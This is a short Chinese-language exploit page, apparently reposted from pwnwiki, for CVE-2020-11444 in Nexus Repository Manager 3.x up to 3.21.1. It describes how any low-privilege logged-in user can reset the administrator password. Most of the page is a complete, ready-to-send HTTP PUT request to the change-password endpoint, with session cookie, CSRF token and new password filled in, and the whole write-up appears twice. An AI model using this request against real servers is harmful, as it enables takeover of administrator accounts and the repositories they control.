CVE-2020-11444_Nexus_Repository_Manger_change-password_低權限修改管理員密碼漏洞-棉花糖会员站

# CVE-2020-11444 Nexus Repository Manger change-password 低權限修改管理員密碼漏洞

==漏洞影響==

Nexus 3.x OSS / Pro <= 3.21.1

==前提條件==
需要任意賬戶權限。
==漏洞利用==
登錄任意用戶後修改 NXSESSIONID，發送請求包修改管理員賬號密碼

PUT /service/rest/beta/security/users/admin/change-password HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.6080434247960143
Content-Type: text/plain
Origin: http://139.198.174.173:8081
Cookie: NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID=76b37c99-046c-47a9-ba7d-fd4cfa33b7ff
Content-Length: 11

data=123456

返回204則修改成功
==參考==
https://short.pwnwiki.org/?c=pqCGju
==漏洞影響==

Nexus 3.x OSS / Pro <= 3.21.1

==前提條件==

需要任意賬戶權限。
==漏洞利用==

登錄任意用戶後修改 NXSESSIONID，發送請求包修改管理員賬號密碼

PUT /service/rest/beta/security/users/admin/change-password HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.6080434247960143
Content-Type: text/plain
Origin: http://139.198.174.173:8081
Cookie: NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID=76b37c99-046c-47a9-ba7d-fd4cfa33b7ff
Content-Length: 11

data=123456

返回204則修改成功
==參考==
https://short.pwnwiki.org/?c=pqCGju

文章版权归作者所有，未经允许请勿转载。

THE END